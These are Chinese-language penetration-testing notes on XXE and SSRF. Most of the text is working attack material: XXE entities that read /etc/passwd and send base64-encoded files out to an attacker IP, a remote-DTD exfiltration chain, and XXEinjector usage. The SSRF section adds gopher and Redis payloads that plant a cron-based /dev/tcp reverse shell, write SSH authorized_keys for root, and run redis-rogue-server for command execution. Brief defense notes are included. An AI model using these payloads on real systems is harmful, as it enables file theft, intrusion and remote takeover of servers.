XML是可拓展标识语言的简写;功能是传输数据,不是显示数据;

说明 语句
数据格式 Content-Type: application/xml
Content-Length: 9

<data>
<name>zs</name>
<pass>123</pass>
</data>
语法结构
一部分是标签的定义, 一部分是标签的解释,标签的解释也称为DTD
<?xml version="1.1" encode="utf-8"> //标识

<!DOCTYPE data[ //普通实体,内部声明
<!ENTITY name SYSTEM "http://ip:port或者http://dnslog.cn"> //无回显,判断SYSTEM是否可用
<!ENTITY pass SYSTEM "/etc/passwd">//本地文件读取
<!ENTITY %test SYSTEM "http://ip/dtd文件位置"> %test;//远程文件读取
]>

(需要修改底下数据为变量:&name;)
//标签+数据
<data>
<name>zs</name>
<pass>123</pass>
</data>

读文件可使用伪协议
利用 读文件
file:///etc/passwd

远程端口探测(内网)
http://ip:port/test/

命令执行(前提:php安装expect扩展)
expect://系统命令
数据外带 本地服务器文件
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % xxe "<!ENTITY send SYSTEM 'http://172.16.12.184:9000/?data=%data;'>">
%xxe;

发送文件<br/>
<!DOCTYPE user[
<!ENTITY % load SYSTEM "http://172.16.12.184:9000/xxe.dtd">
%load;
]>
<user><username>&send;</username><password>pass</password></user>

各类语言支持的协议:

libxml2 PHP Java .NET
file file http file
ftp http https http
http ftp ftp https
php file ftp
compress.zlib jar
compress.bzlip2 netdoc
data mailto
glob gopher*
phar

XXE

概述:

XML实体:XML语言的变量,和PHP、JSP、C语言变量一样,有变量名(实体名)、变量值(实体的值),可以通过&/%引用

XML实体类型:普通实体和参数实体,用下表总结两种实体类型:

类型 普通实体 参数实体
使用场合用 在xml文档中 用在DTD文档中
声明内部 <!ENTITY entityName "entityValue"> <!ENTITY % entityName "entityValue">
外部 <!ENTITY entityName SYSTEM "外部文件url地址"> <!ENTITY % entityName SYSTEM "外部文件url地址">
引用方式 &name; %name;声明时中间有空格,引用时没空格

XXE漏洞原理

概述

XXE漏洞也叫XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件

漏洞的产生

对上传的xml文件没有进行过滤,导致可上传恶意xml文件

漏洞的危害

1、读取任意文件

2、执行系统命令

3、内网端口扫描

4、攻击内网其他网站

漏洞的防御与修复

禁止使用外部实体,例如ibxml_disable_entity_

loader(true)

过滤用户提交的XML数据,防止出现非法内容

XXEinjector.rb使用

操作 说明
启动 ruby ./XXEinjector.rb
使用 抓取xxe数据包,在data上面加入大写的XXEINJECT
ruby XXEinjector.rb –file=D:\x.txt –path=/etc/my.cnf –host=172.16.12.182 –httpport=9999 –phpfilter –verbose –oob=http

SSRF

SSRF(Server-sideRequestForge,服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。主要用来探测内网信息

存在漏洞的位置:

1、分享:通过URL地址分享网页内容

2、转码服务

3、在线翻译

4、图片加载与下载:通过URL地址加载或下载图片

5、图片、文章收藏功能

6、未公开的api实现以及其他调用URL的功能

7、从URL关键字中寻找

SSRF漏洞危害

端口扫描

内网Web应用指纹识别

攻击内网Web应用

读取本地文件

SSRF漏洞防御与修复

限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求

设置白名单,或限制内网IP,以防止对内网进行攻击

禁止30x跳转

屏蔽返回的详细信息

伪协议读取

协议 常见的payload
file协议
——读取文件
curl -v 'file:///etc/passwd'
dict协议
——获取目标服务器端口上运行的服务版本等信息
curl -v 'dict://127.0.0.1:6379/info'
gopher协议
——反弹Shell
curl –v 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1**** ' bash -i >& /dev/tcp/103.21.140.84/67890>&……'

利用

方法 说明
获取正常文件 [http://ip/ssrf/?url=www.baidu.com/robots.txt]
内网IP探测
[http://x.x.x.x](http://x.x.x.x/) http://x.x.x.1/24
输入内网IP,查看返回包,返回正确即存在SSRF。
注:127.0.0.1 IP不能确定存在SSRF 10.x.x.x、172.16.x.x-172.31.x.x、192.168.x.x
端口探测
dict://x.x.x.x:80/ [gopher://x.x.x.x:80/_1](gopher://x.x.x.x:80/_1)
当设置参数URL为内网地址时,则会泄露内网信息,比如内网的某个服务是否开放
提交参数: ?url=探测的ip:1234(不存在的端口)
返回结果: 端口没有开放,页面报错

提交参数: http://ip/ssrf/?url=探测的ip:22(开放的端口)
返回结果: 端口开放,页面返回服务相关信息
读取系统本地文件 利用file协议可以任意读取系统本地文件
提交参数:
?url=file://c:\windows\system32\drivers\etc\hosts
内网Web应用指纹识别 大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。 根据这些信息就可以针对性的搜集漏洞进行攻击。
举例:
判断phpMyAdmin是否安装以及详细版本
提交参数:
?url=http://ip/phpmyadmin/README

快速找到内网IP

Linux/php或java

file://读网卡文件、DNS配置文件

注:机房IP一般为静态IP

命令:

语句 说明
file:///etc/issue 内容不显示系统类型,为redhat系列
file:///etc/redhat-relese
file:///etc/udev/reules.d/70-persistent-net.rules centos6网卡名称
file:///etc/resolv.conf dns位置
file:///etc/sysconfig/network-scripts/ifcfg-eth0 网卡信息

SSRF利用Redis

url=dict://x.x.x.x:6379/keys+*

Redis常用命令

语句 说明
flushall 清空数据
keys * 查看数据
set key value 设置键值
get key 获取键的值
config set dir / 设置保存路径
config set dbfilename xxx.php 新建文件
save 保存
crontab -e 设置定时任务

反弹shell

nc -lvnp 4444        # 攻击机开启监听

# 连接redis,写定时反弹shell

redis-cli -h 192.168.24.79

flushall

config set dir /var/spool/cron/crontabs

config set dbfilename root

set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.24.82/4444 0>&1\n\n" #每分钟执行一次反弹连接

save

ssh登录

语句 说明
ssh-keygen -t rsa 生成密钥
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt 写入公钥
cat ./key.txt | redis-cli -h 192.168.24.79 -x set tide 将公钥内容设置给redis变量(靶机ip)
redis-cli -h 192.168.24.79 连接
config set dir /root/.ssh 默认公私钥路径
config set dbfilename authorized_keys 写入authorized_keys
save 保存

命令执行

主从复制,数据同步,从->主,写入.so拓展库,执行系统命令

脚本:redis-rogue-server

命令:python redis-rogue-server.py --rhost=192.168.21.61 --rport=6379 --lhost=192.168.21.112 --lport=1111